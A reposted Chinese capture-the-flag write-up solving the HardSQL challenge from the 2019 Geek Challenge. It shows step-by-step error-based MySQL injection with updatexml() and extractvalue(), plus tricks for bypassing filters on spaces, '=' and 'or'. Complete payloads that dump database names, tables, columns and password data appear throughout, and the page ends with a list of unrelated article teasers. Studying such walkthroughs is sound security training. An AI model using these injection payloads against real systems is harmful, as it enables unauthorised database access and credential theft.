非常经典的一道SQL报错注入题目[极客大挑战 2019]HardSQL 1(两种解法!)

news2024/11/27 8:47:26

题目环境:
image.png

没错,又是我,这群该死的黑客竟然如此厉害,所以我回去爆肝SQL注入,这次,再也没有人能拿到我的flag了
做了好多这个作者出的题了,看来又要上强度了

判断注入类型

username:admin
password:1
这里把参数password作为注入点

image.png
1'
image.png

单引号的字符型注入

万能密码注入
1' or '1'='1
image.png

万能密码注入被链接
猜测某些字符或者关键字被过滤

SQL注入字典查过滤字符
image.png
Intruder字典爆破
image.png
光标选中参数password的值1-Add选择爆破目标image.png
选用字典
image.png
Start attack开始爆破
image.png
OK
image.png
爆破结果:
image.png

741为过滤内容
可以看到很多字符=、–+、/**/和一些注入命令union、by、‘1’='1等被过滤

继续测试

admin
1’ or

image.png
image.png

可以看到被拦截了
通过刚才的字典爆破,可以知道1’和or是没有被过滤的
那么真相只有一个,卧槽,空格被过滤了,我直呼好家伙

刚开始本想尝试编码绕过空格,结果不行,这里猜测到了空格限制

空格限制

admin
1’(or)

image.png

like没有被过滤,使用like可以绕过=号,like <=> =

重新构造万能密码
1'or((1)like(1))#
image.png
image.png

可以看到绕过了空格限制
同时也登陆成功了
然后想到了之前做过很类似的一道题
SQL报错注入也用到了空格限制
(已经试了堆叠注入和联合注入都不行)
这里就索性试一下SQL报错注入

知识一、

SQL报错注入常用函数

两个基于XPAT(XML)的报错注入函数
函数updatexml() 是mysql对xml文档数据进行查询和修改的xpath函数
函数extractvalue() 是mysql对xml文档数据进行查询的xpath函数
注入原理:
(在使用语句时,如果XPath_string不符合该种类格式,就会出现格式错误,并且会以系统报错的形式提示出错误!)
(局限性查询字符串长度最大为32位,要突破此限制可使用right(),left(),substr()来截取字符串)

其它
函数floor() mysql中用来取整的函数
函数exp() 此函数返回e(自然对数的底)指数X的幂值的函数

首先使用updatexml()函数进行SQL报错注入
爆库
1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#
image.png

得到库名geek

查表
1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#
image.png

得到数据表H4rDsq1

爆字段
1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#
image.png

得到三个字段:id、username、password

查字段内容
1'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))#
image.png

得到前一半flag值flag{389c9161-c2eb-403a-80

使用right()突破字符限制
1'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))#
image.png

得到后一段flag值b-403a-8062-80f219ca1c30}

拼接得到最终flag:
flag{389c9161-c2eb-403a-8062-80f219ca1c30}

使用extractvalue()函数进行SQL报错注入

知识:^这个符号可以绕过or的限制
这两种函数大同小异,不再赘述
当然也可以不使用^来绕过or限制,单一的()绕过空格限制也可以
大家可以看下边进行对比学习

1'^extractvalue(1,concat(0x7e,(select(database()))))#
image.png
image.png
1'or(extractvalue(1,concat(0x7e,(select(database())))))#
image.png
image.png

好了大家已经明显看到了^和()绕过不同限制的区别
那么下面就给大家一直演示^绕过or限制了(上一个updatexml()函数使用的是()绕过空格限制)

1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))#
image.png
1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))#
image.png
1'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))))#
image.png
使用right()突破字符限制
1'^extractvalue(1,right(concat(0x7e,(select(group_concat(password))from(H4rDsq1))),30))#
image.png
拼接得到最终flag:
flag{389c9161-c2eb-403a-8062-80f219ca1c30}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1216646.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

CSAPP第四章:Y86 SEQ(指令顺序执行)的硬件结构

SEQ硬件结构的抽象表示。 程序计数器放在寄存器中(左下角&#xff0c;起点)。先向上&#xff0c;再向右 取指&#xff1a;将程序计数器寄存器作为地址&#xff0c;指令存储器读取一个指令的字节&#xff0c;PC增加器计算valP(程序计数器增加后的值)。 解码&#xff1a;寄存器…

产品经理如何独立从0-1着手甲方项目,或者负责一个产品?

作为产品经理&#xff0c;独立从0到1着手甲方项目或负责一个产品是一项重要的任务。以下是一些步骤和建议&#xff0c;可以帮助产品经理成功地完成这个任务。 1. 研究市场和竞争对手&#xff1a;在开始任何项目之前&#xff0c;产品经理应该对市场进行深入研究&#xff0c;并了…

PyTorch:GPU的使用

在深度学习领域&#xff0c;神经网络模型训练所需的计算量巨大&#xff0c;这就对计算资源提出了高要求。为了处理这一问题&#xff0c;图形处理器&#xff08;GPU&#xff09;被引入到深度学习中&#xff0c;其并行计算能力可以极大加速神经网络的训练过程。PyTorch作为一款出…

【数据分享】1961—2022年全国范围的逐日降水栅格数据

降水数据是我们在各项研究中最常用的气象指标之一&#xff01;之前我们给大家分享过来源于国家青藏高原科学数据中心发布的1901-2022年1km分辨率逐月降水栅格数据以及1901-2022年1km分辨率逐年降水栅格数据&#xff08;均可戳我跳转&#xff09;&#xff01;很多小伙伴拿到数据…

【Qt之QWizard问题】setPixmap()设置logo、background、watermark无效不显示解决方案

问题原因&#xff1a; 使用QWizard或者QWizardPage设置像素图&#xff0c;结果设置完不显示效果。 设置示例&#xff1a; setPixmap(QWizard::WatermarkPixmap, QPixmap("xxx/xxx/xxx.png"));setPixmap(QWizard::BackgroundPixmap, QPixmap("xxx/xxx/xxx.png&…

【星海出品】云存储 ceph

https://ceph.com/en/ 建议运行带有两个网络的Ceph存储集群&#xff1a;公共&#xff08;前端&#xff09;网络和集群&#xff08;后端&#xff09;网络。为了支持两个网络&#xff0c;每个Ceph节点都需要有多个NIC。 Monitor 一个Ceph集群需要多个Monitor组成的小集群&#x…

【C++】【Opencv】cv::GaussianBlur、cv::filter2D()函数详解和示例

本文通过函数详解和运行示例对cv::GaussianBlur和cv::filter2D()两个函数进行解读&#xff0c;最后综合了两个函数的关系和区别&#xff0c;以帮助大家理解和使用。 目录 cv::GaussianBlur&#xff08;&#xff09;函数详解运行示例 filter2D()函数详解运行示例 总结两个函数联…

关于 Git 你了解多少?

1. 什么是Git? Git 是一个版本控制系统&#xff0c;由林纳斯托瓦兹创建。它旨在管理项目代码的更改&#xff0c;以便团队成员可以协作开发和维护代码库。Git 可以让用户跟踪代码的更改、回滚错误的更改、合并代码等。Git 还具有分支和标签的功能&#xff0c;使得团队成员可以在…

002 OpenCV dft 傅里叶变换

目录 一、傅里叶变换 1.1 傅里叶变换概念 1.2 opencv中傅里叶变换 二、实验代码 一、环境 本文使用环境为&#xff1a; Windows10Python 3.9.17opencv-python 4.8.0.74 二、傅里叶变换 2.1 傅里叶变换概念 傅里叶变换&#xff08;Fourier Transform&#xff09;是一种…

手把手教你搭建属于自己的快递小程序

在数字化时代&#xff0c;小程序已经成为各行各业连接用户、提供服务、创造价值的重要工具。其中&#xff0c;快递寄件小程序因其实用性和广泛的需求&#xff0c;成为很多企业和开发者关注的焦点。本文将详细介绍如何快速创建快递寄件小程序&#xff0c;以及如何利用它实现盈利…

Zabbix钉钉机器人告警

目录 一.在钉钉群里添加机器人 二.配置钉钉告警脚本 1.安装python依赖模块python-requests 2.配置钉钉告警配置脚本zabbix_ding.conf 3.创建告警日志并且授权。 4.配置钉钉告警执行脚本dingding.py 5.测试 三.配置zabbix告警 1.创建媒介 2.给用户添加报警媒介 3.配置…

day28_JQuery

今日内容 零、 复习昨日 一、正则表达式 二、JQuery 零、 复习昨日 js已经学完,js是让页面动态变化 1) 基本语法(变量,运算,逻辑,函数) 2) 事件(给标签绑定不同的事件) 3) dom(改变标签内容,属性,样式)一、引言 1.1 jQuery概述 原生js获得dom对象: var obj document.getElem…

2018年五一杯数学建模A题徐州潘安湖风景区游览路线设计解题全过程文档及程序

2019年五一杯数学建模 A题 徐州潘安湖风景区游览路线设计 原题再现 徐州是一个老工业基地和资源型城市&#xff0c;煤炭开采历史长达130年。长期煤炭开采在徐州累计形成采煤塌陷区达数十万亩。位于徐州市贾汪区西南部、紧邻马庄的潘安湖湿地公园原来就是徐州最大的、塌陷最严…

你知道如何科学的学习吗?-关于个人成长的思考

背景 最近在翻看自己工作后的笔记&#xff0c;从有道云笔记到印象笔记&#xff0c;到本地笔记&#xff0c;到自己使用github搭建的博客&#xff0c;到语雀笔记&#xff0c;使用了不同的平台工具&#xff1b;零零总总记录了许多学习笔记、个人成长笔记、职业规划等内容。现在看…

十、http客户端Feign

目录 一、使用Feign客户端 1、修改pom文件 2、在启动类OrderApplication中加入注释 3、创建客户端接口 4、装配UserClient&#xff0c;并且进行远程调用 5、发送请求&#xff0c;查看服务调用情况 二、定义Feigin的配置 方式一&#xff1a;配置文件方式 &#xff08;1&…

项目Git分支管理规范

Git 是一个开源的分布式版本控制系统&#xff0c;用于敏捷高效地处理任何或小或大的项目。 一、分支管理 项目中&#xff0c;一般会创建三个常用分支&#xff1a; develop&#xff1a;开发环境的稳定分支&#xff0c;公共开发环境基于该分支构建。pre-release&#xff1a;测试…

单脉冲测角-和差比幅法

和差比幅法单脉冲测角 单脉冲测角的类型阵列接收模型和差波束构造方法和差比幅测角仿真 单脉冲测角的类型 传统的单脉冲测向方法主要有3种&#xff0c;分别是半阵法、加权法和和差比幅法。其实这3种方法都需要形成和波束和差波束&#xff0c;只是波束形成的方法不同&#xff0…

批量处理文件夹及子文件夹下文件名

从此烟雨落京城&#xff0c;一人撑伞两人行。 问题描述 下载的资源被打过标记&#xff0c;不能直接使用&#xff0c;甚是痛苦 问题&#xff1a; 所有文件的文件名都加入了【更多it教程 微信号&#xff1a;…】字段&#xff0c;包括当前文件夹和子文件夹的全部文件&#xff0c…

【Spring】bean的基础配置

bean的别名 当在Spring config文件中定义name作为别名后&#xff1a; <?xml version"1.0" encoding"UTF-8"?> <beans xmlns"http://www.springframework.org/schema/beans"xmlns:xsi"http://www.w3.org/2001/XMLSchema-instan…

4. 【自动驾驶与机器人中的SLAM技术】点云中的拟合问题和K近邻

目录 1.在三维体素中定义 NEARBY14&#xff0c;实现 14 格最近邻的查找。2.推导arg max||Ad||22的解为ATA的最大特征向量或者奇异向量。3. 将本节的最近邻算法与一些常见的近似最近邻算法进行对比&#xff0c;比如nanoflann&#xff0c;给出精度指标和时间效率指标。4. 也欢迎大…